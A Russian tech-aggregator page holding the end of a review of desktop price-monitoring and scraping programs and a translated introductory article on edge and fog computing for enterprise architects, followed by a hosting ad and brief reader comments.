Чтобы иметь доступ к техподдержке, необходимо вовремя продлевать лицензию. На день написания материала лицензию можно купить на один месяц или на полгода (стоимость не указывается, а условия часто меняются). При покупке на юридическое лицо цена будет на 15-30% выше, чем на физическое. Неприятной неожиданностью будет и тот факт, что несколько пользователей одновременно работать в программе не смогут. Для каждого нового устройства нужно будет дополнительно покупать лицензию.

Как преимущество можно рассматривать тот факт, что запускать парсинг можно бесконечное количество раз в день, если у вас достаточно для этого технических мощностей (много оперативной памяти и хороший процессор). Кстати, возможностью многократного ежедневного запуска обладает любая программа для мониторинга цен в интернет магазинах. Но возможно ли оперативно обрабатывать получаемые данные? Точно нет.

Таким же плюсом без одной палочки является и то, что вся загруженная в программу информация будет хранится на вашем компьютере, а не в облаке, как в специализированных сервисах, выполняющих отслеживание цен. Со временем сбор исторических данных превратится в Авгиевы конюшни на вашем ПК.

Недостатки

Анализ цен конкурентов программа не производит, хотя сама функция создания отчетов есть. Там можно увидеть динамику цен (упали или выросли в сравнении с предыдущим периодом), но не картину по рынку в целом. В Pricetraxer отсутствует визуализация данных, необходимые метрики и какие либо инструменты аналитики. Проблемы с настройками, ошибками и большое количество ручного труда тоже остаются.

8. Konkurenta.net

Компания предлагает два варианта сотрудничества: использование готового сервиса для мониторинга цен и установку серверного приложения. В сравнении с аналогами оба являются весьма дорогостоящими: в сервисе есть ограничения на количество ссылок на товары и его необходимо настраивать за дополнительную плату, а покупка приложения на 1 год стоит от 550$ до 11 000$. Также учитывайте, что приложение должно быть размещено на вашем сервере, что тоже сопряжено с его покупкой и обслуживанием за ваш счет.

Программа для мониторинга цен в магазинах осуществляет сбор цен и другой сопутствующей информации с сайтов конкурентов или поставщиков с необходимой регулярностью (ее пользователь задает самостоятельно). К преимуществам Konkurenta.net перед своим же сервисом создатели относят отсутствие ежемесячных платежей и гарантию безопасности данных. Вероятно, плохая защищенность данных и утечки данных пользователей в этом сервисе стали причиной создания приложения.

Данные о результатах мониторинга цен выводятся простым перечнем. Отсутствует возможность качественно автоматизировать сопоставление, дашборд и какая либо другая визуализация данных, оптимизация цен только вручную. Часто получаемая на выходе информация это полупустая таблица.

Среди аналогов эта программа для сравнения цен на сайтах выделяется наличием уведомлений о нарушении Рекомендованной Розничной Цены (РРЦ) и созданием скриншотов, возможностью собирать информацию про скидки и акционные предложения. Позиционируется как программа для сравнения цен в интернете для брендов и e-commerce.

Недостатки

Система тарифов Konkurenta.net самая сложная и запутанная из всего списка программ. Чтобы понять, какой из способов оплаты отслеживания цен конкурентов будет выгоднее вам, необходимо прикинуть объемы своих товаров и мониторингов и очень дотошно разобраться во всех нюансах тарифообразования. Обязательно задавайте все возникающие вопросы в поддержку и сверяйте свои расчеты с ними, чтобы не попасть в просак.

9. QuadCRM.X

Это белорусская программа для сравнения цен в интернете, которая доступна как коробочная версия (устанавливается на ваш сервис) и как услуга. По задумке разработчиков, ее могут использовать онлайн ритейлеры, контент-менеджеры, закупщики, категорийные менеджеры и маркетологи с целью:

  • сбора и сравнения цен конкурентов

  • автоматизации добавления товаров на сайт

  • удобной работы с прайсами

Сравнивая QuadCRM.X с конкурентами, приятно удивляет наличие веб-интерфейса для работы и достаточного количества обучаемых материалов, которые включены в стоимость (работать в программе без обучения не получится). Использование стационарной программы предполагает неограниченное количество прайсов и обновления, которые входят в стоимость 690$.

В тариф входит настройка парсинга специалистами для 4 сайтов. Каждый конкурент свыше этого лимита это плюс 50$. Или парсинг нужно настраивать самостоятельно. Общение с технической поддержкой будет доступно до 6 месяцев.

Софт для сравнения цен конкурентов будет работать с вашего ПК (он должен быть достаточно мощным) и может собирать следующую информацию:

  • стоимость товара;

  • акционные предложения;

  • наличие товара;

  • рейтинги и отзывы конкурентов.

Для обработки собранных цен конкурентов используется другая программа QuadPrice, которая частично автоматизирует сопоставление и формирует итоговый отчет. Также с ней у вас появится возможность загрузки прайсов (своего, конкурента, поставщика), чтобы учесть эти данные в сравнительном отчете. После приобретения программа для анализа цен конкурентов QuadPrice также требует настройки, а общение с технической поддержкой возможно только в первые 3 месяца.

Недостатки

Сюда можно отнести необходимость покупки двух программ (QuadCRM.X и QuadPrice), маленький лимит по настройке парсинга специалистами (всего 4 сайта) и сложный интерфейс (для программиста). Ну а также проблемы с прокси, банами и ложными данными.

10. Модуль 1С 8

Предназначен для оперативной переоценки своих товаров в программе с более или менее знакомым интерфейсом (для некоторых сотрудников). К преимуществам этого варианта относится:

  • быстрое добавление товаров для мониторинга с 1С;

  • удобный поиск товара по названию, артикулу и даже свойству;

  • возможность сортировки по цене (min, max, average);

  • выбор валюты (руб, грн, $).

Возможность использовать данные мониторинга цен в связке с другими инструментами программы 1С упрощает работу пользователя по оптимизации цен. Идеально подходят такие конфигурации 1С, как управление производственным предприятием (для производителей и брендов), торговым предприятием, небольшой фирмой и другими.

Запускать модуль необходимо по своему расписанию, и он даже может работать без вашего участия (автоматическая переоценка). Но настраивать парсинг сайтов все равно придется, поскольку в стоимость входит только 2 сайта конкурентов (что очень мало). При добавлении сайта на парсинг для каждого из них создается отдельный профиль со своими настройками. После покупки модуля за 400$ вам будут доступны бесплатные обновления первые 3 месяца и возможность пообщаться с техподдержкой (1 час).

Недостатки

Если вам нужна программа для сравнения цен в интернете, Модуль 1С 8 это только ее половина. Дополнительно необходимо приобрести еще один модуль Анализ цен в 1С. Что умножает на 2 и стоимость, и все приложенные усилия. Система предусматривает защиту от попадания в бан, устанавливая ограничения на количество запросов, выдавая себя за поисковую систему и т.д. Но это не гарантирует 100% защиты от таких ситуаций и неточности данных.

11. Анализ цен в 1С

Это еще один специальный модуль для 1С, который предназначен для анализа данных, собранных Модулем 1С 8 и упрощения работы с прайсами поставщиков. Установка сулит такие преимущества:

  • сравнение нескольких прайсов;

  • качественный сравнительный отчет;

  • выбор лучшего поставщика по нужным характеристикам для каждого из товаров (стоимость, количество, доставка);

  • переоценка на основе данных о ценах конкурентов;

  • формирование заказов товаров у поставщиков.

Модуль Анализ цен в 1С можно использовать и без Модуля 1С 8, если вам нужно определить цены на новые товары в зависимости от закупочной цены. Для этого достаточно загрузить прайсы поставщиков и задать формулу, по которой будет осуществляться ценообразование в вашем магазине.

Просто можно переоценить свои позиции и основываясь на ценах конкурентов на Яндекс Маркете. Модуль подключается к API Яндекс Маркета, где сопоставление товаров можно вести по названию, артикулу или комбинации нужных данных.

Благодаря наглядному выделению цветом, эта программа для сравнения цен в интернете позволяет быстро находить позиции, требующие переоценки в первую очередь. Формула для изменения стоимости содержит данные на основе таких метрик как average, min или max, с возможностью установить определенную наценку и округления.

Дружелюбностью и большим количеством фильтров отличается и весь интерфейс программного обеспечения. Когда данные о закупочных ценах, количестве продаж и прибыли находятся в одном месте, оценить эффективность тех или иных изменений не сложно.

Недостатки

Если переоценку товаров будете осуществлять вы, а с 1С вы не работаете, лучше выбрать другой вариант. Модуль Анализ цен в 1С не является полноценным инструментом для сравнения цен в интернете без Модуля 1С 8, который эти цены собирает. Соответственно, необходимо покупать два модуля, учиться их настраивать под себя и использовать.

12. Netpeak Spider

Десктопный парсер, разработанный одноименным маркетинговым агентством под потребности SEO специалистов (своих и купивших продукт). Основные задачи проведение периодических SEO-аудитов и скрапинг информации с сайтов. То есть этот инструмент не задумывался как программа для сравнения цен конкурентов, но при правильных настройках может использоваться и для этой цели тоже. Правда, без специального функционала и с урезанными возможностями по сравнению с аналогами.

Когда программа для мониторинга цен конкурентов запущена на сканирование, этот процесс длительный по времени. Конечно, это зависит от объема скачиваемой информации. В большинстве случаев прерывать процесс нельзя, так как информация будет утеряна. На Netpeak Spider есть возможность поставить парсинг на паузу и продолжить его позже.

В интерфейсе программы есть Дашборд, который удобно использовать для наблюдения за ходом сканирования. Здесь много метрик и иллюстрирующих их графиков, которые касаются SEO, но нет параметров, нужных для анализа цен конкурентов.

Недостатки

Netpeak Spider не заточен под мониторинг цен, поэтому нужно быть немножко программистом, чтобы разобраться в настройках парсинга для этой цели. Но даже сделав это, сравнительный анализ придется делать самостоятельно. Возможностей для ускорения переоценки своих товарных позиций тоже нет.

13. Content Downloader X1

Это один из самых старых универсальных парсеров сайтов. Доподлинно неизвестно, занимается ли кто-то им сейчас, но возможность покупки есть. Перед использованием программы рекомендуется пройти обучение по работе с ней, для чего на официальном сайте есть несколько видео.

Content Downloader X1 является многофункциональным парсером, который способен собирать фотографии, контакты, статьи, а также XML карты сайтов или ссылки с определенных страниц и другую информацию. Выделяют софт среди аналогов возможность запуска пользовательских Javascript, имитирующих действия пользователей. Так, бот может скролить страницу, кликать на содержимое и даже вставлять текст.

Конкретно для интернет-магазинов есть возможность извлечения характеристик из карточек товаров в таблицу CSV. Приятным бонусов является наличие некоторых инструментов для обработки полученных данных. Например, в функционале есть несколько макросов шаблонов вывода данных и возможность пересчета цен.

Если анализировать конкурентов, то разработчик этой программы гораздо честнее, чем его коллеги. Он правдиво говорит о нюансах, без которых работа парсера невозможна, и это подкупает. Поскольку требования плюс минус такие же и для аналогов, давайте перечислим их по программному обеспечению:

  • OS Windows не ниже 7 версии (желательно Windows10 64-bi);

  • наличие прав сисадмина;

  • на оборудовании должен быть Диск C (обязательно C!);

  • наличие и работоспособность библиотек DLL;

  • установленный Internet Explorer 11 или выше;

  • бесперебойный интернет от 512 кбит/с;

  • экран с разрешением от 1366х768 до 1920х1080.

Content Downloader X1 продается с разными типами лицензий:

1) Start упрощенная версия для парсинга небольших объемов информации и годичным обновлением (2 000 руб).

2) Standard средняя версия программы с 20 потоками парсинга с годичным обновлением (2 500 руб).

3) Ultimate hard версия с возможностью парсинга в 50-200 потоков, эмуляцией действий пользователей, макросами для парсинга таблиц с характеристиками товаров и 2-ух годичным обновлением (3 000 руб).

Чтобы использовать парсер Content Downloader X1 как программу для анализа цен конкурентов, нужно покупать hard версию Ultimate. Учитывайте, что в стоимость не входит настройка парсинга сайтов, техподдержка отвечает только на вопросы, связанные с активацией продукта, а работать в программе можно только на 1 ПК.

Недостатки

Как и в предыдущих вариантах, настройка работы парсера требует определенных технических знаний. И даже заказав все под ключ, у вас точно будут возникать неполадки и вопросы в процессе работы. Особенно с учетом того, что настройку вам будут выполнять не сотрудники, а фрилансеры (о чем всех честно предупреждают на сайте), которые ни за то не отвечают.

14. МС:Мониторинг цен 2.0

Программа для сравнения цен конкурентов, которая самостоятельно осуществляет поиск сайтов конкурентов и их парсинг из Яндекс Маркета. Можно сказать, что это некий гибрид, переходная ступень между стационарным софтом и облачным сервисом. Остались недостатки программ, но появились некоторые достоинства специализированных платформ.

Преимущества МС:Мониторинг цен 2.0:

  • высокая скорость выполнения запросов;

  • автоматический поиск конкурентов (только в Яндекс Маркете);

  • отправка отчетов с результатами мониторинга на почту;

  • переоценка товаров через связывание с 1С.

Интересно, что если вы являетесь продавцом на Яндекс Маркете, то мониторить конкурентов на нем можно и совершенно бесплатно. Такую возможность предоставляет сама площадка. Но есть ограничения не более 10 товаров за 1 день. Если вам такого количества недостаточно (что очень вероятно), вы можете использовать МС:Мониторинг цен 2.0 или его аналоги среди специализированных сервисов. У последних функционал на порядок выше.

Анализ цен конкурентов реализован слабо, но присутствует. Есть возможность переоценки своих товаров через связывание с 1С. Как вариант, можно отслеживать не всех продавцов на Яндекс Маркете, а их конкретный перечень. В этом случае нужно понимать, что далеко не каждый из желаемых конкурентов будет представлен в выдаче Яндекс Маркета в момент парсинга.

МС:Мониторинг цен 2.0 это программа для сравнения цен, доступ к которой предоставляется по подписке. В стоимость 10 000 рублей входит настройка мониторинга двух любых товаров с не более чем 20 конкурентами, техподдержка 3 месяца и полугодичные обновления. Обязательное требование действующая лицензия на 1С.

Можно заказать подписку на определенное количество запросов (товаров) в Яндекс Маркете:

  • 100 товаров 700 рублей;

  • 1 000 товаров 6 000 рублей;

  • 10 000 товаров 30 000 рублей.

Недостатки

Чтобы начать использовать МС:Мониторинг цен 2.0 нужно быть пользователем 1С и никак иначе. Еще один существенный недостаток это высокая стоимость. На данный момент она значительно выше, чем у специализированных сервисов: от 3 до 7 рублей за 1 товар. При этом сам поиск конкурентов проводится только на одной площадке (Яндекс Маркет), а возможности по анализу полученных данных и оптимизации цен ограничены.

15. TradesMan

Программа для сравнения цен конкурентов TradesMan может выполнять обработку прайсов и автоматическое сравнение цен в них для мониторинга цен поставщиков. От аналогов софт отличается наличием общего и индивидуального справочника замены, благодаря которому несколько прайсов приводятся к единому виду быстрее и проще. Формат загружаемых документов CSV MS Excel.

Есть 2 версии программы, Ultimate и более продвинутая Pro. В последней есть ряд преимуществ. Например, при создании единого прайса после сопоставления дубликаты товаров удаляются, а в прайс можно добавлять неограниченное количество своих колонок. Есть возможность группирования и перетаскивания данных при сопоставлении, работать с единой базой из разных поставщиков.

Чтобы выполнить сравнение цен, предварительно нужно выполнить сопоставление своих товаров с товарами конкурентов. Инструменты из пакетной настройки связей позволяют делать это по названию, артикулу или перетаскиванием вручную (последний способ есть только в версии Pro).

Если сопоставление выполнено, можно сформировать итоговый список поставщиков для закупки. По заданному алгоритму это за вас сделает сама система. Для удобства формирования заказов, поставщики в документе будут сгруппированы.

Дополнительная возможность настроить переоценку. Новая цена может задаваться по формуле минимальная цена + % (наценка) или цена приоритетного поставщика + % (наценка). Удобно задавать разную наценку для разных поставщиков. Для отслеживания динамики цен, доступно сравнение прайсов за разные периоды.

Недостатки

МС:Мониторинг цен 2.0 это программа для сравнения цен поставщиков по загруженным прайсам, но не для сравнения цен ваших конкурентов. Ее можно использовать в комплексе с одним из вышеперечисленных парсеров, где нет бизнес-аналитики, анализа цен и возможности переоценки своих товаров. Для этого следует загрузить спарсенные с сайтов конкурентов файлы Excel вместо прайсов поставщиков. Выбирая такой вариант, предварительно оцените его целесообразность и стоимость.

Вывод

Возможность выбора программы для сравнения цен конкурентов на рынке есть. Но такой вариант является устаревшим, неудобным и ненадежным. Каждая стационарная программа мониторинга цен конкурентов обладает следующими недостатками:

  • проблемы с прокси (трудно найти, работа не стабильная, необходимо постоянно проверять);

  • бан парсера на сайте конкурентов (данные не собираются);

  • ложная информация (намерено дается парсящим информацию ботам).

Все эти минусы отсутствуют в специализированных сервисах, заточенных на оптимизацию цен в интернет-магазинах. По функционалу и эффективности им уступает любая программа для мониторинга цен в интернете.

Если сравнивать оплату, то на первый взгляд может показаться, что программа для сравнения цен конкурентов в использовании будет дешевле, чем специализированный сервис. Но практика показывает, что в этом варианте много скрытых платежей, итоговая сумма которых довольно существенная. Чтобы скачать приложения и программы для сравнения и мониторинга цен в большинстве случаев требуется регистрация.

Если программа для сравнения цен конкурентов выбрана и активирована, тщательно храните важные данные для входа в следующий раз (e-mail адрес, ключ, пароль). Для большей надежности лучше записать их где-то на бумаге. Ведь в отличии от облачных сервисов, без них в систему вы не войдете и деньги будут потрачены на ветер.

Подробнее..

Перевод Руководство по пограничным вычислениям для архитектора. Самое важное

20.06.2021 12:09:43 | Автор: admin
Для современного энтерпрайз-архитектора критически важно разбираться в пограничных вычислениях (edge computing). В этой статье будут рассмотрены основы пограничных вычислений и приведены примеры использования этой технологии на практике.



Пограничные вычисления определенно существенная часть современного технологического ландшафта. Объем рынка для продукции и услуг, связанных с пограничными вычислениями, более чем удвоился с 2017 года. Причем, согласно статистическому сайту Statista, к 2025 году ожидается взрывной рост этого рынка (см. рисунок 1 ниже).


Рисунок 1: Объем мирового рынка пограничных вычислений: текущая ситуация и прогноз на 2025 год (в миллиардах долларов США) (Statista)

По мере того, как мейнстрим компьютерных технологий продолжает перетекать с десктопа в сторону мобильных устройств и Интернета Вещей, пограничные вычисления играют все более значительную роль в архитектуре больших предприятий.

Учитывая эволюцию этой технологии и ее рост, ожидаемый в ближайшие годы, современному энтерпрайз-архитектору принципиально иметь базовое понимание пограничных вычислений. Цель этой статьи дать такое понимание.

В этой статье рассмотрены четыре темы, фундаментально важные в контексте данной технологии. Сначала я сделаю введение в базовые концепции пограничных вычислений. Далее мы обсудим, в чем суть ценностного предложения пограничных вычислений. Далее я опишу закономерности, формирующиеся в этой области, в частности, как туманные вычисления соотносятся с пограничными. Наконец, я рассмотрю, как внедрение искусственного интеллекта с прицелом на его эксплуатацию вывело пограничные вычисления на передний край проектирования современных архитектур.

Для начала опишу, на чем основан паттерн пограничных вычислений.

Понятие о паттерне пограничных вычислений


Пограничные вычисления это распределенный паттерн. Вычислительные ресурсы в очень обширной сети организованы таким образом, что определенные вычислительные устройства и мощности для хранения данных располагаются поблизости от той точки, где физически выполняется задача. Вычислительные ресурсы, существенные, но не принципиально важные для данной задачи, размещаются в удаленных локациях.

В сценариях с использованием пограничных вычислений пограничные устройства, например, видеокамера или детектор движения, располагают только таким объемом вычислительной логики и мощностями для хранения данных, что требуются для решения актуальной задачи. Как правило, эти устройства работают на очень компактных системах, например, на Raspberry Pi или на оборудовании с сетевой привязкой, где логика, специфичная для конкретных задач, встроена в выделенные бортовые компьютеры. (См. рисунок 2, ниже)


Рисунок 2: Сеть муниципальных светофоров как образец паттерна пограничных вычислений

Удаленные компьютеры, к которым подключены пограничные устройства, обычно гораздо мощнее, и при этом заранее заготавливаются для выполнения дополнительной сложной работы. Физически такие удаленные компьютеры обычно находятся в датацентре в облаке.

В то время как многие технологии, связанные с пограничными вычислениями, до сих пор формируются, их базовая концепция используется на практике уже давно. Она оформилась в виде сетей доставки контента (CDN). CDN это сетевая архитектура, в которой контент подается на серверы, расположенные как можно ближе к точкам потребления. Таким образом, задержки сокращаются, а пользователь получает качественное обслуживание (см. рисунок 3 ниже).


Рисунок 3: Сети доставки контента одна из ранних реализаций пограничных вычислений в распределенных системах

Такая компания как Netflix, чьи зрители живут по всему миру, подает контент на серверы, расположенные в различных точках по всему миру. Когда зритель заходит в Netflix и выбирает фильм для просмотра, внутренняя начинка цифровой инфраструктуры Netflix находит ближайшую к пользователю точку, из которой возможна потоковая передача фильма, и, таким образом, доставляет этот контент. Данный процесс скрыт от зрителя. Внутренний механизм, реализующий сеть доставки контента это система Open Connect, разработанная Netflix.

Базовое ценностное предложение


Фундаментальное ценностное предложение пограничных вычислений заключается в том, что с их помощью компании могут оказывать цифровые услуги быстро и при этом экономично.

Физической аналогией, позволяющей понять ценность пограничных вычислений, могла бы стать модель доставки, принятая в вымышленной государственной онлайновой розничной сети, которую я назову Acme Online. Acme Online это центральная система, на которой основан интернет-магазин. С ее помощью любой желающий может купить товар на сайте, после чего служба доставки привезет этот товар покупателю в любую точку страны (см. рисунок 4, ниже)


Рисунок 4: Онлайновая розница пример пограничных вычислений в физическом мире.

В сценарии, показанном выше, Бобби из Лос-Анджелеса покупает подарок для своего друга Билли, живущего в Нью-Йорке. Между Бобби и Билли почти четыре тысячи километров. У Acme Online есть несколько физических складов, рассредоточенных по всей стране. Один из складов находится в Лос-Анджелесе. Другой в Нью-Йорке. После того, как Бобби совершит покупку, информационная система, занятая обработкой покупок в центральном датацентре Acme Online, принимает заказ и анализирует его, чтобы определить самый быстрый и дешевый способ доставки подарка. Acme Online соотносит адрес Билли получателя подарка с ближайшим складом, на котором есть нужный товар. Затем Acme Online назначает доставку с нью-йоркского склада.

Эффективность очевидна. Выполнение задачи по доставке пакета удобнее всего организуется с распределительного пункта, ближайшего к получателю. Чем ближе точка доставки в получателю, тем меньше времени и ресурсов требуется на выполнение задачи.

Пусть это и всего лишь иллюстративный пример, он может показаться немного тривиальным. Но на самом деле, в рамках описанного процесса происходит гораздо больше, чем заметно на первый взгляд. Дальнейший анализ показывает, что при такой эксплуатации с использованием складов на самом деле есть вычислительные сущности двух типов. Первый тип в терминологии пограничных вычислений называется туман. Второй тип называется край. Склад можно сравнить с туманом, а грузовик, доставляющий подарки с краем. Давайте рассмотрим, чем они отличаются.

Туман и край: разница


На заре развития пограничных вычислений такие устройства как камеры и детекторы движения подключались напрямую к центральному вычислительному узлу; как правило, это был датацентр, расположенный в закрытом помещении. Но, по мере наращивания использования, возникла проблема. Вычислительные ресурсы оказались размазаны чрезмерно тонким слоем. Слишком много данных, сложных в обработке, должны были передаваться на слишком большие расстояния (видеокамера, записывающая тридцать кадров в секунду, отсылает каждый кадр обратно на центральный сервер для хранения, выжмет до максимума ввод/вывод и за кратчайшее время непозволительно замедлит работу сети).

Кроме того, существует проблема, связанная с конфигурацией. Когда тысячи видеокамер отправляют данные на центральную локацию, имеющую конкретный IP-адрес что типично для муниципальной системы передачи трафика простое реконфигурирование IP-адреса на другом адресе превращается в каторжную задачу. Разумеется, нужна какая-то штука попроще. Эта штука и есть туман.

Туман это уровень вычислений, расположенный между центральным облаком и пограничными устройствами. Возвращаясь к вышеописанной аналогии с Acme Online, отметим, что в архитектуре Acme Online региональные склады являются промежуточным звеном между центральным облаком и грузовиками, развозящими товары. Как упоминалось выше, склады это туман, а грузовики это край. Точно так же сегментируется и логика. Грузовик располагает только теми данными, которые нужны для взаимодействия со складом и для фактической доставки пакета.

Склад, в свою очередь, знает, как получать и хранить запасы, выполнять заказы и присваивать заказы конкретным грузовикам. Кроме того, склад умеет взаимодействовать с центральным датацентром в Acme Online, а также со всеми грузовиками, прикоепленными к данному складу. Иными словами, склад это проимежуточный слой, туман, опосредующий взаимодействие между центральным датацентром и краем системы.

Данная физическая аналогия вполне переносится и на цифровую архитектуру. Поскольку объемы пограничной архитектуры велики, в рассматриваемой системе между пограничными устройствами и облаком прокладывается дополнительный вычислительный слой, улучшающий производительность системы в целом. При реализации туманного слоя между пограничными устройствами и центральным облаком также улучшается безопасность системы. В качестве примера можно привести архитектуру, в которой банкоматы конкретного банка подключаются к частной сети этого банка. В данном примере банкоматы являются пограничными устройствами, а частная сеть банка туманом.

В настоящее время формируется стиль, при котором принято размещать туманный слой распределенного приложения, предназначенный для потребления и обработки конфиденциальной информации, в соответствии с регламентирующими правилами конкретной локали, действующей в частном облаке. Пример архитектура, в которой банкоматы подключаются к частной сети банка. В этом случае банкоматы являются пограничными устройствами, а частная сеть банка туманом. Туман обрабатывает аутентификацию и верификацию, важные на уровне конкретных транзакций. Однако, при выполнении более сложных аналитических вычислений, требующих колоссальных ресурсов, работа в защищенном режиме передается в публичное облако. Как правило, интенсивные вычисления такого типа связаны с машинным обучением, на котором основан искусственный интеллект. На самом деле, структура открытое облако/закрытое облако и разделение (туман)/край, характерное для пограничной архитектуры, хорошо подходит для случаев, в которых требуется надежная поддержка искусственного интеллекта.

Рассмотрим специфику.

Паттерны реализации искусственного интеллекта при применении пограничных вычислений


В настоящее время у всех есть смартфоны, и эти устройства приучили нас к использованию ИИ в современной жизни, пусть он и работает за кулисами. Благодаря таким технологиям как Google Lens, распознавание образов встроено прямо в телефоны с Android. Можете навести камеру телефона на изображение с бутылкой вашего любимого кетчупа и приложение выйдет в Интернет, найдет вам ближайший магазин, где вы сможете найти этот кетчуп. Это поразительно, особенно, если учесть эволюцию сотового телефона теперь на нем достаточно вычислительных мощностей даже для первичного распознавания образов. Так было не всегда. В прошлом вычисления такого рода могли выполняться только на очень мощных компьютерах.

Не так давно в смартфонах появилась возможность сделать снимок и переслать его по электронной почте. В результате Интернет наводнился миллиардами фотографий собак. Раньше сотовый телефон мог сфотографировать собаку, но понятия не имел, что на этом фото изображена собака. Эту работу должны были выполнять более мощные машины, понимающие, как выглядит собака. Такой процесс идентификации изображения назвали моделированием.

Моделирование в компьютерной программе работает так: находим огромное множество изображений, описывающих интересующий нас феномен, в данном случае собаку. В программу заложена логика, позволяющая выявить обобщенные закономерности, описывающие интересующий нас объект. Иными словами, скормив программе множество изображений разных собак, мы в конце концов обучим ее общим характеристикам всех этих образов и натаскаем на обнаружение собаки на случайной картинке. Это и есть моделирование.

На создание модели требуется очень много вычислительной мощности, а на ее использование уже меньше. Исходно в мире ИИ как построение, так и использование моделей осуществлялось в датацентре. Когда требовалось определить, собака ли изображена на данном фото, сотовый телефон служил не более чем глупым терминалом, как показано на рисунке 5 ниже.


Рисунок 5: В стандартных облачных вычислениях ИИ находится в облаке

Однако, по мере того, как мощности сотовых телефонов росли, на них развились возможности использовать модели, созданные в облаке. Сегодня сотовые телефоны, будучи классическими пограничными устройствами, скачивают модель собаки, которую потом используют их интеллектуальные механизмы, определяющие, что на цифровом изображении действительно собака. Польза в том, что все более значительный объем вычислений переносится на пограничное устройство. Кроме того, пограничному устройству не требуется непрерывного соединения с датацентром в облаке. Если по какой-то причине сотовый телефон окажется в подземном тоннеле, где связь отсутствует, он все равно сможет идентифицировать собаку на фото (см. рисунок 6, ниже)


Рисунок 6: В пограничных вычислениях работа искусственного интеллекта, например, распознавание моделей, выдавливается на пограничные устройства

Умные пограничные вычисления относительно просто реализуются на таких устройствах, как смартфоны, мощности которых это позволяют. Все становится сложнее, когда устройство уже не настолько умное, например, если это камера, распознающая красный свет в муниципальной дорожной сети.

Сегодня дорожные камеры уже обыденность. Они отслеживают движение на оживленных перекрестках и могут зафиксировать водителя, который поехал на красный свет. Однако, чтобы такая система камер действовала эффективно, мало просто взять и установить на перекрестке видеокамеру. Ей нужна не только координация со светофором, но и искусственный интеллект, который позволил бы ей отличать автомобиль от других объектов на перекрестке.

Для эффективной работы такого рода в игру вступает маломасштабная туманная архитектура. Системе требуется ровно столько информации, чтобы определить, произошло ли нарушение ПДД, но не столько, чтобы установить личность водителя, либо чтобы предпринимать дальнейшие действия в ответ на нарушение.

В данной ситуации будет уместен паттерн край/туман/облако, как показано на рисунке 7 ниже.


Рисунок 7: Добавив к облаку туманный периметр, мы позволяем устройствам IoT отправлять данные на сервер локальной сети, где они, в свою очередь, обрабатываются, а затем вновь отправляются в облако.

В сценарии с дорожной камерой, изложенном выше, вся интеллектуальная начинка, позволяющая определить факт нарушения ПДД, хранится на туманном сервере. Серверу известно, когда на светофоре зажегся красный свет, видны изображения машин, следующих через ограниченную зону, и, следовательно, камера может определить факт нарушения. Когда водитель едет на красный, камера отправляет в облако на обработку лишь ту информацию, которая релевантна в контексте данного нарушения.

Теперь мы принимаем как данность такой тип пограничной архитектуры (один из многих), применяемый для решения конкретной практической задачи. Можно расширить этот сценарий так, чтобы каждый сигнал светофора и камера подключались к устройству с Raspberry Pi, чей искусственный интеллект позволяет определять нарушения ПДД. Затем Raspberry Pi перенаправляет эту информацию на туманный уровень, где данные о нарушениях агрегируются и пакетом отправляются в облако.

То, какая именно пограничная архитектура нам нужна, определяется в зависимости от требований к задаче и от имеющегося бюджета. В данном случае важно понимать, что сегментация (как в контексте вычислений вообще, так и в контексте реализации искусственного интеллекта) это важный аспект пограничной архитектуры. Здесь нет подхода для всех. Следовательно, современный энтерпрайз-архитектор должен понимать достоинства и компромиссы, присущие различным методам пограничных вычислений.

Итоги


Пограничные вычисления будут и далее расти в IT-ландшафте, особенно с введением сетей 5G. Узлы в сетях 5G расположены гораздо ближе к друг другу, чем в более старых сетях, что позволяет сократить задержки. Такая структура позволяет значительно повысить темп передачи данных. В настоящее время большая часть активности, связанной с 5G, будет происходить на сотовых телефонах. Как мы убедились, технологии, ориентированные на устройства общего назначения, например, на сотовые телефоны, находят применение и в более специализированных контекстах, например, при разработке беспилотных автомобилей или мобильных промышленных роботов.

Мир пограничных вычислений открывает обширные возможности. Есть мнение, что это новая великая парадигма. По мере того, как пограничные вычисления используются все активнее, они продолжают усложняться. Надеемся, что концепции и идеи, представленные в этой статье, станут для вас хорошей базой, чтобы овладеть этой парадигмой.



VPS серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru